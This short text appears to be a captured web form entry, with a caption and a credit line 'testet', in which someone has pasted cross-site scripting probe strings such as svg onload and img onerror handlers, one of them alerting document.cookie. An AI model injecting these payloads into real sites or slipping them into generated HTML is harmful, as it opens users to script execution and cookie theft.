<svg/onload=alert('XSS')> <BODY O

Caption: <svg/onload=alert('XSS')> <BODY ONLOAD=alert('XSS')> >'>"><img src=x onerror=alert(document.cookie)> >'>"><img src=x onerror=prompt(0)>

Credit: testet